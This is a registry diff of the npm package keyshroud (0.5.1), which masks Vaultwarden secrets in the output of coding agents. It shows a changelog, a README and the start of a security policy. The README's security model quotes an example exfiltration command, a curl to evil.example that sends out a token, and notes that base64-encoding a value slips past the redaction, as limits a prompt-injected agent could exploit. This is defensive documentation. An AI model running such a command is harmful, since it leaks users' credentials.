keyshroud 0.0.0-stage → 0.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +65 -0
- package/LICENSE +21 -0
- package/README.md +387 -2
- package/SECURITY.md +36 -0
- package/dist/brand.d.ts +6 -0
- package/dist/brand.js +8 -0
- package/dist/cli.d.ts +2 -0
- package/dist/cli.js +463 -0
- package/dist/core.d.ts +105 -0
- package/dist/core.js +642 -0
- package/dist/hooks.d.ts +1 -0
- package/dist/hooks.js +57 -0
- package/dist/mcp.d.ts +1 -0
- package/dist/mcp.js +208 -0
- package/dist/redact.d.ts +23 -0
- package/dist/redact.js +184 -0
- package/dist/refs.d.ts +16 -0
- package/dist/refs.js +82 -0
- package/extensions/pi/index.ts +254 -0
- package/extensions/pi/ui/bordered-popups.ts +45 -0
- package/package.json +106 -4
- package/skills/keyshroud/SKILL.md +76 -0
- package/src/brand.ts +8 -0
- package/src/cli.ts +301 -0
- package/src/core.ts +584 -0
- package/src/hooks.ts +53 -0
- package/src/mcp.ts +187 -0
- package/src/redact.ts +183 -0
- package/src/refs.ts +76 -0
package/CHANGELOG.md
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes are documented here. This project follows
|
|
4
|
+
[Semantic Versioning](https://semver.org/).
|
|
5
|
+
|
|
6
|
+
## [0.5.1] - 2026-10-14
|
|
7
|
+
|
|
8
|
+
### Added
|
|
9
|
+
- `mcpName` in `package.json` and a `server.json` for the official MCP Registry
|
|
10
|
+
(`io.github.dinhkarate/keyshroud`).
|
|
11
|
+
|
|
12
|
+
### Fixed
|
|
13
|
+
- `bin` path written as `dist/cli.js` so `npm publish` no longer rewrites it.
|
|
14
|
+
|
|
15
|
+
### Docs
|
|
16
|
+
- README: supported agents table, use cases, FAQ, demo GIF; Vietnamese,
|
|
17
|
+
Simplified Chinese and Japanese translations; OpenCode v2 setup via
|
|
18
|
+
`opencode mcp add`; `approval_mode` note for non-interactive `codex exec`.
|
|
19
|
+
|
|
20
|
+
## [0.5.0] - 2026-10-13
|
|
21
|
+
|
|
22
|
+
First public release, renamed from `pi-vaultwarden` to **keyshroud**.
|
|
23
|
+
|
|
24
|
+
### Added
|
|
25
|
+
- `bw://item[/field|/fields/name]` references, including `username`, `notes`,
|
|
26
|
+
`uri`, `id`, custom fields and TOTP codes.
|
|
27
|
+
- `run --env-file` for commit-safe reference files, `--only` for least
|
|
28
|
+
privilege, and streaming output masking (on by default when not a TTY).
|
|
29
|
+
- `inject` template rendering into `0600` files, `redact` filter, `scan` leak
|
|
30
|
+
finder, `lock`, append-only `audit.jsonl` (names only).
|
|
31
|
+
- MCP stdio server: `secrets_list`, `secrets_run`, `secrets_request`,
|
|
32
|
+
`vault_status`.
|
|
33
|
+
- Claude Code plugin: SessionStart + PostToolUse redaction hooks, MCP server,
|
|
34
|
+
skill.
|
|
35
|
+
- pi/omp `tool_result` redaction of every tool result.
|
|
36
|
+
- Test suite against a fake `bw`; CI; compiled `dist/` so the CLI runs from
|
|
37
|
+
`node_modules`.
|
|
38
|
+
|
|
39
|
+
### Changed
|
|
40
|
+
- Default cache TTL is 1 hour (`KEYSHROUD_CACHE_TTL_MS`; was 7 days via
|
|
41
|
+
`PI_VAULTWARDEN_CACHE_TTL_MS`).
|
|
42
|
+
- Config moved to `~/.config/keyshroud/`.
|
|
43
|
+
- pi commands renamed: `/vault_add`, `/vault_wire`, `/vault_rotate`,
|
|
44
|
+
`/vault_status`; tools `vault_add_secret`, `vault_status`.
|
|
45
|
+
- `/secret` no longer needs a hard-coded local model; the planner is optional
|
|
46
|
+
(`KEYSHROUD_PLANNER_URL`).
|
|
47
|
+
- Duplicate vault item names fail closed instead of picking one.
|
|
48
|
+
|
|
49
|
+
- `run` and MCP `secrets_run` strip `BW_SESSION`, `BW_PASSWORD`,
|
|
50
|
+
`BW_CLIENTID` and `BW_CLIENTSECRET` from the child environment.
|
|
51
|
+
- Env files (`--env-file`, MCP `env_file`) reject `!command` values, including
|
|
52
|
+
legacy `!bw get …` lines; auth.json still accepts them.
|
|
53
|
+
- `run` exits with 128+N when the child dies from signal N.
|
|
54
|
+
- auth.json writes refuse to replace an unparseable file, use pi's directory
|
|
55
|
+
lock (`auth.json.lock/`), and write through symlinks.
|
|
56
|
+
|
|
57
|
+
### Removed
|
|
58
|
+
- Hard-coded server URL and personal infrastructure defaults.
|
|
59
|
+
|
|
60
|
+
### Migration from pi-vaultwarden
|
|
61
|
+
- Existing `!bw get password '…'` auth.json entries keep working unchanged.
|
|
62
|
+
- Rename `PI_VAULTWARDEN_CACHE_TTL_MS` → `KEYSHROUD_CACHE_TTL_MS`.
|
|
63
|
+
- Move `~/.config/pi-vaultwarden/master-password` (if used) to
|
|
64
|
+
`~/.config/keyshroud/master-password`.
|
|
65
|
+
- Replace `pi install @piskill/pi-vaultwarden` with `pi install npm:keyshroud`.
|
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Daniel / EONSR
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,3 +1,388 @@
|
|
|
1
|
-
|
|
1
|
+
<div align="center">
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
<h1>
|
|
4
|
+
<picture>
|
|
5
|
+
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/dinhkarate/keyshroud/main/assets/brand/lockup-dark.svg">
|
|
6
|
+
<img alt="keyshroud" src="https://raw.githubusercontent.com/dinhkarate/keyshroud/main/assets/brand/lockup.svg" height="88">
|
|
7
|
+
</picture>
|
|
8
|
+
</h1>
|
|
9
|
+
|
|
10
|
+
**Your agents use the keys. They never see them.**
|
|
11
|
+
|
|
12
|
+
**Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp** —
|
|
13
|
+
secrets stay in your own self-hosted [Vaultwarden](https://github.com/dani-garcia/vaultwarden)
|
|
14
|
+
(or Bitwarden), and every value is masked before the model reads it.
|
|
15
|
+
|
|
16
|
+
[](https://www.npmjs.com/package/keyshroud)
|
|
17
|
+
[](https://www.npmjs.com/package/keyshroud)
|
|
18
|
+
[](https://github.com/dinhkarate/keyshroud/actions/workflows/ci.yml)
|
|
19
|
+
[](LICENSE)
|
|
20
|
+
[](package.json)
|
|
21
|
+
|
|
22
|
+
[🚀 Quickstart](#quickstart) · [🔌 Supported agents](#supported-agents) · [⚙️ How it works](#how-it-works) · [❓ FAQ](#faq) · [🛡️ Security model](#security-model) · [🌐 Website](https://keyshroud.dev)
|
|
23
|
+
|
|
24
|
+
[🇻🇳 Tiếng Việt](i18n/README.vi.md) · [🇨🇳 简体中文](i18n/README.zh-CN.md) · [🇯🇵 日本語](i18n/README.ja-JP.md)
|
|
25
|
+
|
|
26
|
+
</div>
|
|
27
|
+
|
|
28
|
+
<p align="center"><img src="assets/demo.gif" alt="Demo: keyshroud masks a GitHub token in command output while the command still uses it, and scan finds a key leaked into a test file" width="860"></p>
|
|
29
|
+
|
|
30
|
+
```console
|
|
31
|
+
$ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'
|
|
32
|
+
deploying with <redacted:GH_TOKEN>
|
|
33
|
+
dinhkarate
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
The command got the real token. The transcript — and the model reading it — got
|
|
37
|
+
`<redacted:GH_TOKEN>`. (Masking is automatic when an agent runs the command;
|
|
38
|
+
`--mask` forces it in a human terminal.)
|
|
39
|
+
|
|
40
|
+
## Why keyshroud?
|
|
41
|
+
|
|
42
|
+
Coding agents need credentials to do real work: `gh`, `npm publish`, cloud CLIs,
|
|
43
|
+
webhooks, databases. The usual options are bad:
|
|
44
|
+
|
|
45
|
+
- ❌ **Paste the key into the chat** — now it is in the transcript, the provider's logs, and every future context window
|
|
46
|
+
- ❌ **Put it in `.env`** — the agent `cat`s it while debugging, or commits it
|
|
47
|
+
- ❌ **Pay for a secrets manager** — `op run` needs a 1Password subscription, and most "agent vaults" are hosted SaaS
|
|
48
|
+
- ❌ **Use a vault MCP server** — most of them return the plaintext value straight to the model
|
|
49
|
+
|
|
50
|
+
**keyshroud fixes this:**
|
|
51
|
+
|
|
52
|
+
- ✅ **Names, not values** — agents see `GH_TOKEN` and `bw://GitHub CLI token`, never the token
|
|
53
|
+
- ✅ **Masked output** — any value that reaches stdout/stderr becomes `<redacted:GH_TOKEN>`
|
|
54
|
+
- ✅ **Your vault** — Vaultwarden on a $5 VPS or a Raspberry Pi, or Bitwarden; no account with us
|
|
55
|
+
- ✅ **Free** — MIT-licensed, no telemetry
|
|
56
|
+
|
|
57
|
+
## Features
|
|
58
|
+
|
|
59
|
+
| | |
|
|
60
|
+
|---|---|
|
|
61
|
+
| 🙈 **Masked output** | `keyshroud run` replaces every secret value in stdout/stderr with `<redacted:NAME>` — streaming-safe across chunk boundaries. |
|
|
62
|
+
| 🪝 **Agent hooks** | The pi/omp `tool_result` hook redacts every tool result, failed ones included. Claude Code's `PostToolUse` hook redacts every *successful* tool result (Bash, Read, Grep, MCP…) — see [limits](#security-model). |
|
|
63
|
+
| 🔌 **MCP server** | `keyshroud mcp` gives any MCP client `secrets_run`, `secrets_list`, `secrets_request`, `vault_status`. No tool ever returns a value. |
|
|
64
|
+
| 🔗 **Commit-safe references** | `bw://item`, `bw://item/username`, `bw://item/fields/name`, `bw://item/totp` in `.env.refs` files and templates. |
|
|
65
|
+
| ⌨️ **Paste-to-create** | New secrets go through a masked prompt in the user's terminal or a masked popup in pi — never through the chat. |
|
|
66
|
+
| 📄 **`inject`** | Render `{{ bw://… }}` templates into `0600` config files for tools that can't read env vars (`.npmrc`, kubeconfig). |
|
|
67
|
+
| 🔎 **`scan`** | Find vault values that leaked into your working tree (pre-commit friendly). |
|
|
68
|
+
| ⚡ **Fast** | One batched `bw list items` per session instead of one `bw get` (~3 s) per secret. |
|
|
69
|
+
| 🏠 **Self-hosted, free** | Vaultwarden on a $5 VPS or a Raspberry Pi. No SaaS account, no telemetry. |
|
|
70
|
+
| 🧾 **Audit log** | `audit.jsonl` records which *names* were used, when, by which command. Never values. |
|
|
71
|
+
|
|
72
|
+
## Supported agents
|
|
73
|
+
|
|
74
|
+
| Agent | Install | What you get |
|
|
75
|
+
|---|---|---|
|
|
76
|
+
| **Claude Code** | [plugin](#claude-code) | SessionStart + PostToolUse redaction hooks, MCP tools, skill |
|
|
77
|
+
| **pi / omp** | [`pi install npm:keyshroud`](#pi--omp) | env hydration, `tool_result` redaction (failed calls too), `/secret` |
|
|
78
|
+
| **Codex** | [`codex mcp add keyshroud -- keyshroud mcp`](#any-mcp-client) | MCP tools with masked output |
|
|
79
|
+
| **Cursor, Claude Desktop, Cline, Gemini CLI** | [`mcpServers` JSON](#any-mcp-client) | MCP tools with masked output |
|
|
80
|
+
| **OpenCode** | [`opencode mcp add keyshroud -- keyshroud mcp`](#any-mcp-client) | MCP tools with masked output |
|
|
81
|
+
| **Any shell or CI** | `keyshroud run -- <cmd>` | env injection + masked output |
|
|
82
|
+
|
|
83
|
+
## Use cases
|
|
84
|
+
|
|
85
|
+
**"Claude Code keeps reading my `.env`."** Move the values into the vault, commit a
|
|
86
|
+
`.env.refs` file with `GH_TOKEN=bw://GitHub CLI token`, and start the agent with
|
|
87
|
+
`keyshroud run -- claude`. The plugin's hooks mask anything that still slips into a tool result.
|
|
88
|
+
|
|
89
|
+
**"I already self-host Vaultwarden."** Point `bw` at it, run `keyshroud doctor`, and you
|
|
90
|
+
are done — keyshroud adds no server of its own.
|
|
91
|
+
|
|
92
|
+
**"I like `op run` but don't want 1Password."** `keyshroud run` is the same idea —
|
|
93
|
+
references in, masked output out — on a vault you host.
|
|
94
|
+
|
|
95
|
+
**"My agent needs to add a new key."** It calls `secrets_request` (MCP) or `/secret` (pi);
|
|
96
|
+
you type the value into a masked prompt in your own terminal. It never enters the chat.
|
|
97
|
+
|
|
98
|
+
## Quickstart
|
|
99
|
+
|
|
100
|
+
**Requirements:** Node.js ≥ 22.18, the Bitwarden CLI (`npm i -g @bitwarden/cli`),
|
|
101
|
+
and a Vaultwarden or Bitwarden account. No server yet?
|
|
102
|
+
[examples/vaultwarden](examples/vaultwarden) runs Vaultwarden behind Caddy
|
|
103
|
+
(automatic HTTPS) with one `docker compose up -d`.
|
|
104
|
+
|
|
105
|
+
```bash
|
|
106
|
+
npm install -g keyshroud
|
|
107
|
+
|
|
108
|
+
# 1. Point bw at your server and log in once
|
|
109
|
+
bw config server https://vault.example.com
|
|
110
|
+
bw login
|
|
111
|
+
|
|
112
|
+
# 2. Let keyshroud unlock without prompting (stored in the OS keychain)
|
|
113
|
+
security add-generic-password -a "$USER" -s vaultwarden-master-password -w # macOS: prompts for the value
|
|
114
|
+
# Linux: secret-tool store --label=vaultwarden service vaultwarden-master-password account "$USER"
|
|
115
|
+
|
|
116
|
+
# 3. Check everything
|
|
117
|
+
keyshroud doctor
|
|
118
|
+
|
|
119
|
+
# 4. Store a secret — typed into a masked prompt, never echoed
|
|
120
|
+
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"
|
|
121
|
+
|
|
122
|
+
# 5. Use it
|
|
123
|
+
keyshroud run -- gh auth status
|
|
124
|
+
keyshroud run -- claude # start an agent with every wired secret available
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
Optional: put `vaultwarden-api-client-id` / `vaultwarden-api-client-secret` (from
|
|
128
|
+
*Settings → Security → Keys → API key*) in the keychain too, and keyshroud will
|
|
129
|
+
also re-login automatically when the `bw` session expires.
|
|
130
|
+
|
|
131
|
+
## How it works
|
|
132
|
+
|
|
133
|
+
```
|
|
134
|
+
┌──────────────────── your machine ────────────────────┐
|
|
135
|
+
Vaultwarden ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
|
|
136
|
+
(self-hosted) │ │ │ │ stdout/stderr
|
|
137
|
+
│ └── redactor ◄────────────────────────────────────┘◄─────┘
|
|
138
|
+
│ │ <redacted:NAME> │
|
|
139
|
+
└──────────────┼────────────────────────────────────────────────┘
|
|
140
|
+
▼
|
|
141
|
+
agent transcript / LLM provider
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
1. **Wiring.** A secret is wired by *name*: `GH_TOKEN → bw://GitHub CLI token`.
|
|
145
|
+
Wiring lives in `~/.pi/agent/auth.json` / `~/.omp/agent/auth.json`
|
|
146
|
+
(shared with pi/omp) and in project `.env.refs` files. Both are safe to read.
|
|
147
|
+
2. **Unlock.** `bw` is unlocked from the OS keychain; the session token is cached
|
|
148
|
+
in `~/.config/keyshroud/session` (`0600`).
|
|
149
|
+
3. **Resolve.** All references resolve from one `bw list items` snapshot held in
|
|
150
|
+
memory for `KEYSHROUD_CACHE_TTL_MS` (default 1 h).
|
|
151
|
+
4. **Inject.** Values go into the child process environment — never into argv
|
|
152
|
+
or tool results (`inject` writes `0600` files only when you ask it to).
|
|
153
|
+
5. **Redact.** In-process (`run`, MCP, pi/omp) output passes through a redactor
|
|
154
|
+
that knows every wired value, the vault session token, and every login
|
|
155
|
+
password in the vault. Out-of-process Claude Code hooks use a keyed-HMAC
|
|
156
|
+
fingerprint index (`redact-index.json`, `0600`) of wired values and the
|
|
157
|
+
session token only, so they never hold plaintext or fingerprint your
|
|
158
|
+
personal passwords.
|
|
159
|
+
|
|
160
|
+
## Claude Code
|
|
161
|
+
|
|
162
|
+
Install the CLI, then the plugin (MCP server + redaction hooks + skill):
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
npm install -g keyshroud
|
|
166
|
+
```
|
|
167
|
+
```text
|
|
168
|
+
/plugin marketplace add dinhkarate/keyshroud
|
|
169
|
+
/plugin install keyshroud@keyshroud
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
What you get:
|
|
173
|
+
|
|
174
|
+
- **SessionStart hook** — unlocks, refreshes the redaction index, and tells
|
|
175
|
+
Claude which secret *names* exist.
|
|
176
|
+
- **PostToolUse hook** — rewrites any successful tool result that contains a
|
|
177
|
+
wired value or the vault session token to `<redacted:NAME>` using Claude
|
|
178
|
+
Code's `updatedToolOutput` (tested with Claude Code 2.1.296).
|
|
179
|
+
**Limit:** when a command fails, Claude Code fires `PostToolUseFailure`, which
|
|
180
|
+
cannot rewrite output. The skill and session context therefore tell Claude to
|
|
181
|
+
run every secret-using command through `keyshroud run` (or `secrets_run`),
|
|
182
|
+
which masks inside the process regardless of the exit code.
|
|
183
|
+
- **MCP tools** — `secrets_run`, `secrets_list`, `secrets_request`, `vault_status`.
|
|
184
|
+
- **Skill** — teaches Claude to use names and references, never values.
|
|
185
|
+
|
|
186
|
+
The plugin calls `keyshroud` from `PATH`. If Claude Code is launched from a GUI
|
|
187
|
+
that doesn't see your npm/nvm bin directory, run `keyshroud link-cli` (links it
|
|
188
|
+
into `~/.local/bin`) and make sure that directory is on the GUI's `PATH`.
|
|
189
|
+
|
|
190
|
+
To give Bash commands the secrets as env vars, start Claude through keyshroud:
|
|
191
|
+
|
|
192
|
+
```bash
|
|
193
|
+
keyshroud run -- claude
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
Use a vault item as Claude Code's own API key (`apiKeyHelper`):
|
|
197
|
+
|
|
198
|
+
```bash
|
|
199
|
+
keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
It backs up `settings.json` first and refuses to replace an existing helper
|
|
203
|
+
without `--force`.
|
|
204
|
+
|
|
205
|
+
## pi / omp
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
pi install npm:keyshroud
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
The extension:
|
|
212
|
+
|
|
213
|
+
- hydrates wired secrets into the agent's environment before provider auth
|
|
214
|
+
resolves, so `$CUSTOM_KEY` provider references work at startup;
|
|
215
|
+
- redacts every tool result, successful or failed, through the `tool_result`
|
|
216
|
+
hook (wired values, the vault session token, and every vault login password);
|
|
217
|
+
- adds `/secret` (describe → confirm name → masked paste), `/vault_add`,
|
|
218
|
+
`/vault_wire`, `/vault_rotate`, `/vault_status`, and the `vault_add_secret` /
|
|
219
|
+
`vault_status` tools.
|
|
220
|
+
|
|
221
|
+
`/secret` can ask a local OpenAI-compatible model to propose the item and
|
|
222
|
+
variable names. Only your description is sent — never the value:
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
|
|
226
|
+
export KEYSHROUD_PLANNER_MODEL=qwen3-4b
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
Without a planner, names are derived from the description and you can edit them.
|
|
230
|
+
|
|
231
|
+
## Any MCP client
|
|
232
|
+
|
|
233
|
+
Codex, Cursor, Claude Desktop, Cline, Gemini CLI and any other client that speaks MCP over stdio:
|
|
234
|
+
|
|
235
|
+
```json
|
|
236
|
+
{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
Codex: `codex mcp add keyshroud -- keyshroud mcp`. Non-interactive `codex exec` refuses MCP calls that need approval; allow keyshroud's tools explicitly:
|
|
240
|
+
|
|
241
|
+
```toml
|
|
242
|
+
# ~/.codex/config.toml
|
|
243
|
+
[mcp_servers.keyshroud.tools.secrets_run]
|
|
244
|
+
approval_mode = "approve"
|
|
245
|
+
```
|
|
246
|
+
|
|
247
|
+
OpenCode: `opencode mcp add keyshroud -- keyshroud mcp`.
|
|
248
|
+
|
|
249
|
+
| Tool | Does | Returns |
|
|
250
|
+
|---|---|---|
|
|
251
|
+
| `secrets_list` | Lists wired names (+ optional `env_file`) | resolved / unresolved names |
|
|
252
|
+
| `secrets_run` | Runs a shell command with secrets injected (`only`, `env_file`, `cwd`, `timeout_ms`) | exit code + masked stdout/stderr |
|
|
253
|
+
| `secrets_request` | Asks the human to store a new secret | a `keyshroud add …` command for *their* terminal |
|
|
254
|
+
| `vault_status` | Vault lock state, server, item count | status line |
|
|
255
|
+
|
|
256
|
+
## CLI reference
|
|
257
|
+
|
|
258
|
+
```text
|
|
259
|
+
keyshroud get <ENV_NAME | bw://ref> print one value (for scripts; not for agents)
|
|
260
|
+
keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
|
|
261
|
+
keyshroud inject [-i template] [-o out] [--force]
|
|
262
|
+
keyshroud redact < log.txt
|
|
263
|
+
keyshroud scan [paths...]
|
|
264
|
+
keyshroud env [--shell]
|
|
265
|
+
keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin]
|
|
266
|
+
keyshroud rotate --item ITEM [--stdin]
|
|
267
|
+
keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
|
|
268
|
+
keyshroud unwire --env NAME [--target pi|omp|both]
|
|
269
|
+
keyshroud status | unlock | lock | doctor
|
|
270
|
+
keyshroud mcp
|
|
271
|
+
keyshroud hook claude <session-start|post-tool-use>
|
|
272
|
+
keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
|
|
273
|
+
keyshroud api-key --item ITEM
|
|
274
|
+
keyshroud link-cli [--dir DIR] [--force]
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
`run` masks output whenever stdout is not a terminal (agents, CI, pipes) and
|
|
278
|
+
passes the TTY through untouched for interactive use. Force either way with
|
|
279
|
+
`--mask` / `--no-mask`. `exec` is an alias of `run`.
|
|
280
|
+
|
|
281
|
+
**Exit codes:** `0` ok · `2` usage · `3` vault locked or unavailable · `4` secret
|
|
282
|
+
missing or item name ambiguous · `5` refusing to overwrite existing state.
|
|
283
|
+
`run` exits with the child's code.
|
|
284
|
+
|
|
285
|
+
### References
|
|
286
|
+
|
|
287
|
+
| Reference | Resolves to |
|
|
288
|
+
|---|---|
|
|
289
|
+
| `bw://GitHub CLI token` | login password |
|
|
290
|
+
| `bw://GitHub CLI token/username` | login username (`notes`, `uri`, `id` also work) |
|
|
291
|
+
| `bw://Sentry/fields/dsn` | custom field `dsn` |
|
|
292
|
+
| `bw://AWS root/totp` | current TOTP code |
|
|
293
|
+
| `bw://a%2Fb` | item named `a/b` |
|
|
294
|
+
| `!bw get password 'Item'` | legacy auth.json form, still supported |
|
|
295
|
+
|
|
296
|
+
Item lookup is case-insensitive by name or exact by id. Duplicate names fail
|
|
297
|
+
closed (exit `4`) instead of guessing.
|
|
298
|
+
|
|
299
|
+
### Configuration
|
|
300
|
+
|
|
301
|
+
| Variable | Default | |
|
|
302
|
+
|---|---|---|
|
|
303
|
+
| `KEYSHROUD_CACHE_TTL_MS` | `3600000` | in-memory vault snapshot + session check lifetime; `0` disables |
|
|
304
|
+
| `KEYSHROUD_CONFIG_DIR` | `$XDG_CONFIG_HOME/keyshroud` | session, redact index, audit log |
|
|
305
|
+
| `KEYSHROUD_KEYCHAIN_MASTER` | `vaultwarden-master-password` | keychain service names… |
|
|
306
|
+
| `KEYSHROUD_KEYCHAIN_CLIENT_ID` | `vaultwarden-api-client-id` | |
|
|
307
|
+
| `KEYSHROUD_KEYCHAIN_CLIENT_SECRET` | `vaultwarden-api-client-secret` | |
|
|
308
|
+
| `KEYSHROUD_AUDIT` | on | `0` disables `audit.jsonl` |
|
|
309
|
+
| `KEYSHROUD_PLANNER_URL` / `_MODEL` / `_API_KEY` | unset | optional naming helper for `/secret` |
|
|
310
|
+
|
|
311
|
+
## FAQ
|
|
312
|
+
|
|
313
|
+
**Do I need Vaultwarden?** No. The official Bitwarden cloud works too; keyshroud talks to
|
|
314
|
+
whatever server `bw` is configured for.
|
|
315
|
+
|
|
316
|
+
**Do secrets leave my machine?** Only between `bw` and your vault server. keyshroud has no
|
|
317
|
+
backend and sends no telemetry; values go into the environment of the command you run.
|
|
318
|
+
|
|
319
|
+
**Can the agent still use the key?** Yes. The command gets the real value; only the text
|
|
320
|
+
the model reads is masked.
|
|
321
|
+
|
|
322
|
+
**Is this a sandbox?** No. It stops *accidental* disclosure. A hostile or prompt-injected
|
|
323
|
+
agent can still exfiltrate a value it can use — see the [security model](#security-model).
|
|
324
|
+
|
|
325
|
+
**Why not just `.gitignore` my `.env`?** That stops commits, not reads. Agents read `.env`
|
|
326
|
+
to debug, and whatever they read goes to the model provider.
|
|
327
|
+
|
|
328
|
+
**Does it work on Windows?** Not tested yet. macOS and Linux are supported.
|
|
329
|
+
|
|
330
|
+
## Security model
|
|
331
|
+
|
|
332
|
+
keyshroud protects against **accidental disclosure**: secrets ending up in
|
|
333
|
+
transcripts, provider logs, screenshots, commits, or the model's context because
|
|
334
|
+
a command printed them.
|
|
335
|
+
|
|
336
|
+
It does **not** make a hostile or prompt-injected agent safe. An agent that can
|
|
337
|
+
run `keyshroud run -- curl https://evil.example -d "$TOKEN"`, or base64-encode a
|
|
338
|
+
value before printing it, can exfiltrate it. If that is your threat model, use
|
|
339
|
+
an egress proxy that swaps placeholder credentials on the wire (for example
|
|
340
|
+
Infisical Agent Vault or OneCLI), restrict which secrets each session
|
|
341
|
+
gets with `--only`, and keep a human approving commands.
|
|
342
|
+
|
|
343
|
+
Guarantees we test for:
|
|
344
|
+
|
|
345
|
+
- secret values never appear in argv, logs, diagnostics, MCP results, hook
|
|
346
|
+
output, or `audit.jsonl`;
|
|
347
|
+
- new secrets are read from a masked prompt or stdin, never flags;
|
|
348
|
+
- the session file, redact index, rendered templates and auth files are `0600`;
|
|
349
|
+
- auth.json writes are locked and atomic and never overwrite without `--force`;
|
|
350
|
+
- commands started by `run` and `secrets_run` never receive `BW_SESSION`,
|
|
351
|
+
`BW_PASSWORD`, `BW_CLIENTID` or `BW_CLIENTSECRET`, so `--only` really limits
|
|
352
|
+
what a command can read (inside pi/omp the agent process keeps the session for
|
|
353
|
+
legacy `!bw` auth entries; its value is redacted from tool output);
|
|
354
|
+
- env files may contain only references and literals — a `!command` value is
|
|
355
|
+
rejected, so a cloned repo's `.env.refs` cannot run code;
|
|
356
|
+
- an unparseable `auth.json` is never overwritten.
|
|
357
|
+
|
|
358
|
+
Known limits: an agent with shell access as your user can read
|
|
359
|
+
`~/.config/keyshroud/session` and use `bw` directly — run agents in a sandbox or
|
|
360
|
+
container if that matters. Redaction is exact-match, so a *partial* or transformed value
|
|
361
|
+
(`${TOKEN:0:10}`, base64, a line wrapped by a tool) is not masked; values
|
|
362
|
+
shorter than 6 characters are not redacted (to avoid noise), so don't wire short
|
|
363
|
+
PINs.
|
|
364
|
+
|
|
365
|
+
Report vulnerabilities privately — see [SECURITY.md](SECURITY.md).
|
|
366
|
+
|
|
367
|
+
## Development
|
|
368
|
+
|
|
369
|
+
```bash
|
|
370
|
+
npm install
|
|
371
|
+
npm run check # typecheck + tests (fake bw, no real vault) + build
|
|
372
|
+
node src/cli.ts doctor # run from source (Node ≥ 22.18 strips types)
|
|
373
|
+
```
|
|
374
|
+
|
|
375
|
+
See [CONTRIBUTING.md](CONTRIBUTING.md). The runtime-neutral core is in
|
|
376
|
+
`src/core.ts`; agent integrations live in `extensions/`, `src/mcp.ts` and
|
|
377
|
+
`src/hooks.ts`.
|
|
378
|
+
|
|
379
|
+
## Credits
|
|
380
|
+
|
|
381
|
+
Inspired by [@jmcombs/pi-1password](https://www.npmjs.com/package/@jmcombs/pi-1password)
|
|
382
|
+
— its popup UI and diagnostics shape are ported here (MIT). Masked output follows
|
|
383
|
+
1Password's `op run`. Not affiliated with Bitwarden, Inc. or the Vaultwarden
|
|
384
|
+
project; "Bitwarden" is a trademark of Bitwarden, Inc.
|
|
385
|
+
|
|
386
|
+
## License
|
|
387
|
+
|
|
388
|
+
[MIT](LICENSE) © 2026 dinhkarate
|
package/SECURITY.md
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# Security policy
|
|
2
|
+
|
|
3
|
+
## Reporting a vulnerability
|
|
4
|
+
|
|
5
|
+
Please **do not open a public issue**. Use GitHub's private vulnerability
|
|
6
|
+
reporting: *Security → Report a vulnerability* on
|
|
7
|
+
[dinhkarate/keyshroud](https://github.com/dinhkarate/keyshroud/security/advisories/new).
|
|
8
|
+
|
|
9
|
+
Include the version (`keyshroud --version`), OS, agent (Claude Code, pi, omp,
|
|
10
|
